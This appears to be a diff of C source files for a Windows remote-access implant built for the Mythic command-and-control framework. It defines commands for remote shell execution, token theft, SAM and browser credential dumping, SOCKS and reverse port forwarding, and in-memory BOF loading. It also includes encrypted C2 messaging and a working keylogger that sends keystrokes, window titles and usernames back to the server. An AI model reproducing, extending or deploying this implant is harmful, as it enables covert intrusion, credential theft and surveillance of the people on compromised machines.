_err("rpfwd_manager_start_listener(%u) rc=%d", localPort, rc);
if (rc == 1) {
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u\n", localPort);
PackageAddFormatPrintf(salida, FALSE, "Error: Port may be in use or requires administrator privileges (WSAError=10013)\n");
PackageAddFormatPrintf(salida, FALSE, "Try using a non-privileged port (e.g., 8080, 4444, 5555)\n");
} else {
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u (rc=%d)\n", localPort, rc);
}
}
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
/* ============================
STOP_RPFWD_CMD handler
Expected params:
- 36 bytes: UUID del task
Behavior:
- call rpfwd_manager_stop_listener()
- send response back to Mythic
============================ */
static void stopRpfwdHandler(PAnalizador analizadorTarea) {
_dbg("stopRpfwdHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
_dbg("stopRpfwdHandler: taskId=%.*s", 36, taskUuid);
int rc = rpfwd_manager_stop_listener();
_dbg("rpfwd_manager_stop_listener() rc=%d", rc);
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward stopped\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
#endif
@@ -0,0 +1,83 @@
#pragma once
#ifndef COMMANDOS
#define COMMANDOS
#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#include "procesos.h"
#include "SistemadeFicheros.h"
#include "screenshot.h"
#include "keylog.h"
#include "tokens.h"
#include "rpfwd_manager.h"
#include "browser_info.h"
#include "browser_dump.h"
#include "samdump.h"
#include "inline_execute.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
#define PROCESS_CMD 0x15
#define CD_CMD 0x20
#define LS_CMD 0x21
#define PWD_CMD 0x22
#define CP_CMD 0x23
#define MKDIR_CMD 0x24
#define RM_CMD 0x25
#define CAT_CMD 0x26
#define DOWNLOAD_CMD 0x27
#define UPLOAD_CMD 0x28
#define SCREENSHOT_CMD 0x29
#define KEYLOG_START_CMD 0x30
#define KEYLOG_STOP_CMD 0x31
/* New SOCKS control commands (agent-side) */
#define START_SOCKS_CMD 0x60
#define STOP_SOCKS_CMD 0x61
/* Reverse Port Forward commands */
#define START_RPFWD_CMD 0x62
#define STOP_RPFWD_CMD 0x63
/* Token commands */
#define LIST_TOKENS_CMD 0x32
#define STEAL_TOKEN_CMD 0x33
#define MAKE_TOKEN_CMD 0x34
#define REV2SELF_CMD 0x35
#define WHOAMI_CMD 0x36
#define KILL_CMD 0x37
/* Browser information command */
#define BROWSER_INFO_CMD 0x40
/* Browser dump command */
#define BROWSER_DUMP_CMD 0x41
/* SAM dump command */
#define SAMDUMP_CMD 0x42
/* BOF and Assembly execution commands */
#define INLINE_EXECUTE_CMD 0x70
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
/* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5
/* Extension marker to carry RPFWD array in binary messages */
#define RPFWD_BLOCK_MARKER 0xF2
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#endif
@@ -0,0 +1,46 @@
#include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp;
CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb");
if (!fp) {
_err("[Consola] Error ejecutando el comando");
return FALSE;
}
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE);
}
// Add output to response
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
// Add Process Create artifact using the helper function
addArtifact(respuestaTarea, "Process Create", comando);
_pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
return TRUE;
}
@@ -0,0 +1,7 @@
#pragma once
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
BOOL ejecutarConsola(PAnalizador argumentos);
@@ -0,0 +1,363 @@
#define _CRT_SECURE_NO_WARNINGS
// =======================================================
// COMPAT FIX for MinGW: ensure bcrypt + NTSTATUS constants
// =======================================================
#ifndef NTDDI_VERSION
#define NTDDI_VERSION NTDDI_WIN10
#endif
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0A00 // Windows 10
#endif
#include <ntstatus.h>
#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS
#include "crypto.h"
#include "utils.h"
#include "hmac_sha256.h"
#include "Aes.h"
#include <bcrypt.h>
#include <wincrypt.h>
#pragma comment(lib, "bcrypt.lib")
// Include struct definitions AFTER crypto.h to avoid circular dependency
// crypto.h has forward declarations, but crypto.c needs the actual structures
#include "paquete.h"
#include "analizador.h"
// =======================================================
// Define missing bcrypt constants if MinGW headers lack them
// =======================================================
#ifndef MS_PRIMITIVE_PROVIDER
#define MS_PRIMITIVE_PROVIDER L"Microsoft Primitive Provider"
#endif
// Constants
#define IVSIZE 16
#define SHA256_HASH_SIZE 32
// Globals (simple single-agent context)
static unsigned char g_aesKey[AES_KEY_SIZE];
static int g_aesKeySet = 0;
static int g_encryptionEnabled = 0; // Track if encryption is enabled
// Helpers
static void secure_zero(void *p, SIZE_T n) {
if (p && n) { SecureZeroMemory(p, n); }
}
void crypto_cleanup(void) {
secure_zero(g_aesKey, sizeof(g_aesKey));
g_aesKeySet = 0;
g_encryptionEnabled = 0;
}
// Initialize AESPSK key from base64 string (Mythic format)
BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
_err("No AESPSK key provided");
g_encryptionEnabled = 0;
return FALSE;
}
// Base64 decode the key
PBYTE decoded = NULL;
SIZE_T decoded_len = 0;
if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
_err("Failed to decode AESPSK key");
return FALSE;
}
if (decoded_len != AES_KEY_SIZE) {
_err("AESPSK key length is %zu, expected %d", decoded_len, AES_KEY_SIZE);
if (decoded) LocalFree(decoded);
return FALSE;
}
memcpy(g_aesKey, decoded, AES_KEY_SIZE);
g_aesKeySet = 1;
g_encryptionEnabled = 1;
if (decoded) LocalFree(decoded);
_inf("AESPSK key initialized successfully (encryption enabled)");
return TRUE;
}
// Check if encryption is enabled
BOOL crypto_is_encryption_enabled(void) {
return g_encryptionEnabled && g_aesKeySet;
}
// AES encrypt package for Mythic (based on Xenon implementation)
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
BOOL CryptoMythicEncryptPackage(void* package) {
PPaquete pkg = (PPaquete)package;
_inf("=== CryptoMythicEncryptPackage START ===");
if (!pkg || !pkg->buffer || pkg->length == 0) {
_err("Invalid package (pkg=%p, buffer=%p, length=%zu)",
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
return FALSE;
}
_dbg("Input package: length=%zu bytes", pkg->length);
if (!g_aesKeySet) {
_err("AES key not set");
return FALSE;
}
_dbg("AES key is set (key length: %d bytes)", AES_KEY_SIZE);
// Generate random IV
BYTE iv[IVSIZE];
_dbg("Generating random IV (%d bytes)...", IVSIZE);
for (int i = 0; i < IVSIZE; i++) {
iv[i] = (BYTE)(rand() % 0xFF);
}
_dbg("IV generated (hex): ");
for (int i = 0; i < IVSIZE; i++) {
_dbg(" %02x ", iv[i]);
}
// Calculate padding needed
SIZE_T datalen = pkg->length;
SIZE_T padding_needed = (AES_BLOCKLEN - (datalen % AES_BLOCKLEN)) % AES_BLOCKLEN;
if (padding_needed == 0) {
padding_needed = AES_BLOCKLEN;
}
_dbg("Data length: %zu bytes", datalen);
_dbg("Padding needed: %zu bytes (block size: %d)", padding_needed, AES_BLOCKLEN);
// Add padding
_dbg("Adding PKCS7 padding...");
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) {
_err("Failed to add padding");
return FALSE;
}
memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
SIZE_T padded_len = pkg->length + padding_needed;
pkg->length = padded_len;
_dbg("After padding: %zu bytes", padded_len);
// Encrypt with AES-256-CBC
_dbg("Initializing AES context with IV...");
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, g_aesKey, iv);
_inf("Encrypting with AES-256-CBC...");
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
_dbg("Encryption complete, ciphertext: %zu bytes", padded_len);
// Prepend IV before the encrypted data
_dbg("Prepending IV (%d bytes) before ciphertext...", IVSIZE);
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) {
_err("Failed to prepend IV");
return FALSE;
}
memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
memcpy(pkg->buffer, iv, IVSIZE);
pkg->length += IVSIZE;
_dbg("After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)",
pkg->length, IVSIZE, padded_len);
// Calculate HMAC (IV + Ciphertext)
_inf("Calculating HMAC-SHA256 over IV + Ciphertext...");
PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
SIZE_T hmac_size = SHA256_HASH_SIZE;
_dbg("HMAC input length: %zu bytes (for HMAC calculation)", pkg->length);
hmac_sha256(
g_aesKey, AES_KEY_SIZE,
pkg->buffer, pkg->length,
hmac, hmac_size
);
_dbg("HMAC calculated (hex): ");
for (size_t i = 0; i < hmac_size; i++) {
_dbg(" %02x ", hmac[i]);
}
// Append HMAC
_dbg("Appending HMAC (%zu bytes)...", SHA256_HASH_SIZE);
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) {
free(hmac);
_err("Failed to append HMAC");
return FALSE;
}
memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
pkg->length += SHA256_HASH_SIZE;
free(hmac);
_inf("=== ENCRYPTION COMPLETE ===");
_dbg("Final encrypted package: %zu bytes", pkg->length);
_dbg("Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", padded_len);
return TRUE;
}
// AES decrypt parser for Mythic (based on Xenon implementation)
BOOL CryptoMythicDecryptParser(void* analizador) {
PAnalizador parser = (PAnalizador)analizador;
_inf("=== CryptoMythicDecryptParser START ===");
if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
_err("Invalid parser (parser=%p, buffer=%p, size=%zu)",
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
_err("Minimum required: %d bytes", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
return FALSE;
}
_dbg("Input parser: size=%zu bytes", parser->tamano);
// Log first bytes of encrypted data
_dbg("Encrypted data preview (hex, first 64 bytes): ");
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
_dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
if (!g_aesKeySet) {
_err("AES key not set");
return FALSE;
}
_dbg("AES key is set");
// Extract HMAC from end
PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
_dbg("=== EXTRACTING COMPONENTS ===");
_dbg("Total size: %zu bytes", parser->tamano);
_dbg("HMAC offset: %zu bytes from start", parser->tamano - SHA256_HASH_SIZE);
_dbg("Encrypted data length (without IV and HMAC): %zu bytes", encrypted_data_length);
_dbg("Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", encrypted_data_length);
// Extract and log IV
BYTE *iv = parser->buffer;
_dbg("IV (first 16 bytes, hex): ");
for (int i = 0; i < IVSIZE; i++) {
_dbg(" %02x ", iv[i]);
}
// Log HMAC provided
_dbg("HMAC provided (last 32 bytes, hex): ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
_dbg(" %02x ", hmac_provided[i]);
}
// Verify HMAC
_inf("=== VERIFYING HMAC ===");
_dbg("Calculating HMAC over %zu bytes (IV + Ciphertext)", IVSIZE + encrypted_data_length);
PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
if (!hmac_calculated) {
_err("Failed to allocate HMAC buffer");
return FALSE;
}
hmac_sha256(
g_aesKey, AES_KEY_SIZE,
parser->buffer, IVSIZE + encrypted_data_length,
hmac_calculated, SHA256_HASH_SIZE
);
_dbg("HMAC calculated (hex): ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
_dbg(" %02x ", hmac_calculated[i]);
}
if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
_err("=== HMAC VERIFICATION FAILED ===");
_err("Provided HMAC: ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
_err(" %02x ", hmac_provided[i]);
}
_err("Calculated HMAC: ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
_err(" %02x ", hmac_calculated[i]);
}
_dbg("Data used for HMAC calculation (first 48 bytes): ");
for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
_dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 16 == 0) _dbg("\n");
}
free(hmac_calculated);
return FALSE;
}
_inf("HMAC verification SUCCESS");
free(hmac_calculated);
// Decrypt
_inf("=== DECRYPTING ===");
_dbg("Initializing AES context with IV...");
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, g_aesKey, iv);
_inf("Decrypting %zu bytes of ciphertext...", encrypted_data_length);
AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
_dbg("Decryption complete");
// Log decrypted data before unpadding
_dbg("Decrypted data (before unpadding, hex, first 64 bytes): ");
for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
_dbg(" %02x ", parser->buffer[IVSIZE + i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
// Remove padding
_dbg("=== REMOVING PADDING ===");
BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
_dbg("Padding length from last byte: %d", padding_length);
_dbg("Last 16 bytes (should show padding): ");
size_t padding_start = IVSIZE + encrypted_data_length - 16;
for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
_dbg(" %02x ", parser->buffer[padding_start + i]);
}
if (padding_length > AES_BLOCKLEN) {
_err("Invalid padding length: %d", padding_length);
return FALSE;
}
SIZE_T unpadded_len = encrypted_data_length - padding_length;
_dbg("Unpadded length: %zu bytes", unpadded_len);
// Update parser
SIZE_T original_size = parser->tamano;
_dbg("Moving decrypted data to start of buffer (removing IV)...");
memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
parser->tamano = unpadded_len;
// Log final decrypted data
_inf("=== DECRYPTION COMPLETE ===");
_dbg("Final decrypted size: %zu bytes (original encrypted: %zu bytes)",
parser->tamano, original_size);
_dbg("Final decrypted data (hex, first 64 bytes): ");
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
_dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
// Log as ASCII if printable
if (parser->tamano > 0) {
_dbg("First byte: 0x%02X", parser->buffer[0]);
if (parser->tamano >= 36) {
char uuidBuf[37] = {0};
memcpy(uuidBuf, parser->buffer, 36);
_dbg("First 36 bytes (should be UUID if present): %s", uuidBuf);
}
}
_inf("Parser decrypted successfully (length: %zu)", parser->tamano);
return TRUE;
}
@@ -0,0 +1,22 @@
#pragma once
#include <windows.h>
#define AES_KEY_SIZE 32
#define AES_IV_SIZE 16
#define SHA256_HASH_SIZE 32
// Initialize AESPSK key from base64 string (called at startup)
BOOL crypto_init_aespsk(const char *aespsk_key_b64);
// Cleanup crypto resources
void crypto_cleanup(void);
// Encrypt a package using AES256-CBC + HMAC (Mythic format)
// Format: [IV(16 bytes)][Ciphertext][HMAC(32 bytes)]
BOOL CryptoMythicEncryptPackage(void* paquete);
// Decrypt a parser using AES256-CBC + HMAC (Mythic format)
BOOL CryptoMythicDecryptParser(void* analizador);
// Helper to get encryption status
BOOL crypto_is_encryption_enabled(void);
@@ -0,0 +1,83 @@
#pragma once
#include <stdio.h>
#include <windows.h>
#include <string.h>
/* Debug level defines (from DEBUG_LEVEL parameter, set by Makefile):
* 0 = NONE - no debug output
* 1 = ERR - only _err() messages
* 2 = WRN - _err() + _wrn() messages
* 3 = INF - _err() + _wrn() + _inf() messages
* 4 = ALL - all messages (_err() + _wrn() + _inf() + _dbg())
*/
/* Debug output defines (from DEBUG_OUTPUT parameter, set by Makefile):
* 0 = CONSOLE - output to stdout (printf)
* 1 = FILE - output to C:\Temp\Ra.log
*/
#if defined(DEBUG_LEVEL) && DEBUG_LEVEL > 0
/* Debug is enabled - determine which levels are active */
#define ENABLE_ERR 1 /* Always enable errors (level >= 1) */
#define ENABLE_WRN (DEBUG_LEVEL >= 2)
#define ENABLE_INF (DEBUG_LEVEL >= 3)
#define ENABLE_DBG (DEBUG_LEVEL >= 4)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#if defined(DEBUG_OUTPUT) && DEBUG_OUTPUT == 1
/* File-based logging */
#define _log(level, format, ...) do { \
HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); \
if (debugFile != INVALID_HANDLE_VALUE) { \
CHAR out[512] = { 0 }; \
DWORD written = 0; \
sprintf_s(out, sizeof(out), "[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
WriteFile(debugFile, out, (DWORD)strlen(out), &written, NULL); \
CloseHandle(debugFile); \
} \
} while(0)
#else
/* Console-based logging (default) */
#define _log(level, format, ...) do { \
printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
fflush(stdout); \
} while(0)
#endif
/* Level-specific macros */
#if ENABLE_DBG
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#else
#define _dbg(format, ...) ((void)0)
#endif
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#if ENABLE_WRN
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#else
#define _wrn(format, ...) ((void)0)
#endif
#if ENABLE_INF
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define _inf(format, ...) ((void)0)
#endif
#else
/* Release build: no debug output */
#define _log(level, format, ...) ((void)0)
#define _dbg(format, ...) ((void)0)
#define _err(format, ...) ((void)0)
#define _wrn(format, ...) ((void)0)
#define _inf(format, ...) ((void)0)
#endif
@@ -0,0 +1,104 @@
/*
hmac_sha256.c
Originally written by https://github.com/h5p9sl
*/
#include "hmac_sha256.h"
#include "sha256.h"
#include <stdlib.h>
#include <string.h>
#define SHA256_BLOCK_SIZE 64
/* LOCAL FUNCTIONS */
// Concatenate X & Y, return hash.
static void* H(const void* x,
const size_t xlen,
const void* y,
const size_t ylen,
void* out,
const size_t outlen);
// Wrapper for sha256
static void* sha256(const void* data,
const size_t datalen,
void* out,
const size_t outlen);
// Declared in hmac_sha256.h
size_t hmac_sha256(const void* key,
const size_t keylen,
const void* data,
const size_t datalen,
void* out,
const size_t outlen) {
uint8_t k[SHA256_BLOCK_SIZE];
uint8_t k_ipad[SHA256_BLOCK_SIZE];
uint8_t k_opad[SHA256_BLOCK_SIZE];
uint8_t ihash[SHA256_HASH_SIZE];
uint8_t ohash[SHA256_HASH_SIZE];
size_t sz;
int i;
memset(k, 0, sizeof(k));
memset(k_ipad, 0x36, SHA256_BLOCK_SIZE);
memset(k_opad, 0x5c, SHA256_BLOCK_SIZE);
if (keylen > SHA256_BLOCK_SIZE) {
// If the key is larger than the hash algorithm's
// block size, we must digest it first.
sha256(key, keylen, k, sizeof(k));
} else {
memcpy(k, key, keylen);
}
for (i = 0; i < SHA256_BLOCK_SIZE; i++) {
k_ipad[i] ^= k[i];
k_opad[i] ^= k[i];
}
// Perform HMAC algorithm: ( https://tools.ietf.org/html/rfc2104 )
// `H(K XOR opad, H(K XOR ipad, data))`
H(k_ipad, sizeof(k_ipad), data, datalen, ihash, sizeof(ihash));
H(k_opad, sizeof(k_opad), ihash, sizeof(ihash), ohash, sizeof(ohash));
sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen;
memcpy(out, ohash, sz);
return sz;
}
static void* H(const void* x,
const size_t xlen,
const void* y,
const size_t ylen,
void* out,
const size_t outlen) {
void* result;
size_t buflen = (xlen + ylen);
uint8_t* buf = (uint8_t*)malloc(buflen);
memcpy(buf, x, xlen);
memcpy(buf + xlen, y, ylen);
result = sha256(buf, buflen, out, outlen);
free(buf);
return result;
}
static void* sha256(const void* data,
const size_t datalen,
void* out,
const size_t outlen) {
size_t sz;
Sha256Context ctx;
SHA256_HASH hash;
Sha256Initialise(&ctx);
Sha256Update(&ctx, data, datalen);
Sha256Finalise(&ctx, &hash);
sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen;
return memcpy(out, hash.bytes, sz);
}
@@ -0,0 +1,36 @@
/*
hmac_sha256.h
Originally written by https://github.com/h5p9sl
*/
#ifndef _HMAC_SHA256_H_
#define _HMAC_SHA256_H_
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
#include <stddef.h>
size_t // Returns the number of bytes written to `out`
hmac_sha256(
// [in]: The key and its length.
// Should be at least 32 bytes long for optimal security.
const void* key,
const size_t keylen,
// [in]: The data to hash alongside the key.
const void* data,
const size_t datalen,
// [out]: The output hash.
// Should be 32 bytes long. If it's less than 32 bytes,
// the resulting hash will be truncated to the specified length.
void* out,
const size_t outlen);
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // _HMAC_SHA256_H_
@@ -0,0 +1,30 @@
#include "identity.h"
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
TOKEN_USER informacionToken[0x1000];
SID_NAME_USE tipoSid;
DWORD tamanoRespuesta;
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
return FALSE;
}
CHAR nombre[0x200] = { 0 };
CHAR dominio[0x200] = { 0 };
DWORD tamanoNombre = sizeof(nombre);
DWORD tamanoDominio = sizeof(dominio);
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
return FALSE;
}
/* Use wsprintfA for MinGW portability without requiring nonstandard _snprintf */
wsprintfA(buffer, "%s\\%s", dominio, nombre);
buffer[tamano - 1] = 0;
return TRUE;
}
@@ -0,0 +1,22 @@
#pragma once
#ifndef IDENTITY_H
#define IDENTITY_H
#include <windows.h>
extern HANDLE gTokenIdentidad;
extern BOOL gIdentidadIsLoggin;
extern WCHAR* gDominioIdentidad;
// extern WCHAR* gIdentityUsername;
// extern WCHAR* gIdentityPassword;
#define IDENTITY_MAX_WCHARS_DOMAIN 256
#define IDENTITY_MAX_WCHARS_USERNAME 256
#define IDENTITY_MAX_WCHARS_PASSWORD 512
//VOID IdentityImpersonateToken(void);
//VOID IdentityAgentRevertToken(void);
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
//BOOL IdentityIsAdmin(void);
#endif //IDENTITY_H
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,107 @@
#pragma once
#ifndef INLINE_EXECUTE_H
#define INLINE_EXECUTE_H
#include "analizador.h"
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
#if defined(__x86_64__) || defined(_WIN64)
#define PREPENDSYMBOLVALUE "__imp_"
#else
#define PREPENDSYMBOLVALUE "__imp__"
#endif
#define STR_EQUALS(str, substr) (strncmp(str, substr, strlen(substr)) == 0)
// COFF relocation types (from winnt.h)
#define IMAGE_REL_AMD64_ADDR64 0x0001
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
#define IMAGE_REL_AMD64_REL32 0x0004
#define IMAGE_FILE_MACHINE_AMD64 0x8664
// COFF File Header
typedef struct coff_file_header {
UINT16 Machine;
UINT16 NumberOfSections;
UINT32 TimeDateStamp;
UINT32 PointerToSymbolTable;
UINT32 NumberOfSymbols;
UINT16 SizeOfOptionalHeader;
UINT16 Characteristics;
} FileHeader_t;
#pragma pack(push,1)
// COFF Section Table
typedef struct coff_sections_table {
char Name[8];
UINT32 VirtualSize;
UINT32 VirtualAddress;
UINT32 SizeOfRawData;
UINT32 PointerToRawData;
UINT32 PointerToRelocations;
UINT32 PointerToLineNumbers;
UINT16 NumberOfRelocations;
UINT16 NumberOfLinenumbers;
UINT32 Characteristics;
} Section_t;
// COFF Relocations
typedef struct coff_relocations {
UINT32 VirtualAddress;
UINT32 SymbolTableIndex;
UINT16 Type;
} Relocation_t;
// COFF Symbols Table
typedef struct coff_symbols_table {
union {
char Name[8];
UINT32 value[2];
} first;
UINT32 Value;
UINT16 SectionNumber;
UINT16 Type;
UINT8 StorageClass;
UINT8 NumberOfAuxSymbols;
} Symbol_t;
#pragma pack(pop)
// COFF structure
typedef struct COFF {
char* FileBase;
FileHeader_t* FileHeader;
Relocation_t* Relocation;
Symbol_t* SymbolTable;
void* RawTextData;
char* RelocationsTextPTR;
int RelocationsCount;
int FunctionMappingCount;
} COFF_t;
// BOF Upload structure
typedef struct _BOF_UPLOAD {
CHAR fileUuid[37]; // File UUID (36 + 1 for null terminator)
UINT32 totalChunks; // Total number of chunks
UINT32 currentChunk; // Current chunk number
SIZE_T size; // Size of the file
PVOID buffer; // Pointer to BOF buffer data
} BOF_UPLOAD, *PBOF_UPLOAD;
// Function declarations
VOID InlineExecuteHandler(PAnalizador argumentos);
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize);
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof);
#ifdef __cplusplus
}
#endif
#endif // INLINE_EXECUTE_H
@@ -0,0 +1,161 @@
#include "keylog.h"
#include "paquete.h"
#include "angerona.h"
static volatile BOOL g_keylog_running = FALSE;
static HANDLE g_keylog_thread = NULL;
static CHAR g_keylog_task_uuid[37] = {0};
static DWORD WINAPI keylog_thread_proc(LPVOID lpParam) {
(void)lpParam;
// Simple polling-based key grab (GetAsyncKeyState); not stealthy but minimal
CHAR buffer[2048];
SIZE_T buf_len = 0;
ULONGLONG last_send = GetTickCount64();
while (g_keylog_running) {
for (int vk = 0x08; vk <= 0xFE; ++vk) {
SHORT state = GetAsyncKeyState(vk);
if (state & 0x0001) { // pressed since last call
char c = 0;
if (vk == VK_BACK) c = '\b';
else if (vk == VK_TAB) c = '\t';
else if (vk == VK_RETURN) c = '\n';
else if (vk >= 0x20 && vk <= 0x7E) c = (char)vk; // printable ASCII
if (c) {
if (buf_len < sizeof(buffer) - 1) {
buffer[buf_len++] = c;
}
}
}
}
ULONGLONG now = GetTickCount64();
BOOL should_send = (buf_len >= 128) || ((now - last_send) > 3000 && buf_len > 0);
if (should_send) {
buffer[buf_len] = '\0';
// Fetch window title
CHAR title[256] = {0};
HWND hwnd = GetForegroundWindow();
if (hwnd) {
GetWindowTextA(hwnd, title, sizeof(title) - 1);
}
// Fetch user (best-effort)
CHAR user[128] = {0};
DWORD usize = (DWORD)sizeof(user);
GetUserNameA(user, &usize);
// Build POST_RESPONSE
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, g_keylog_task_uuid, FALSE);
// empty user_output
addInt32(respuesta, 0);
// Add keylog marker
addKeylog(respuesta, user[0] ? user : "", title[0] ? title : "", buffer);
Analizador* resp = mandarPaquete(respuesta);
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);
buf_len = 0;
last_send = now;
}
Sleep(20);
}
return 0;
}
BOOL StartKeylogger(PAnalizador argumentos) {
_inf("[keylog] ===== StartKeylogger called =====");
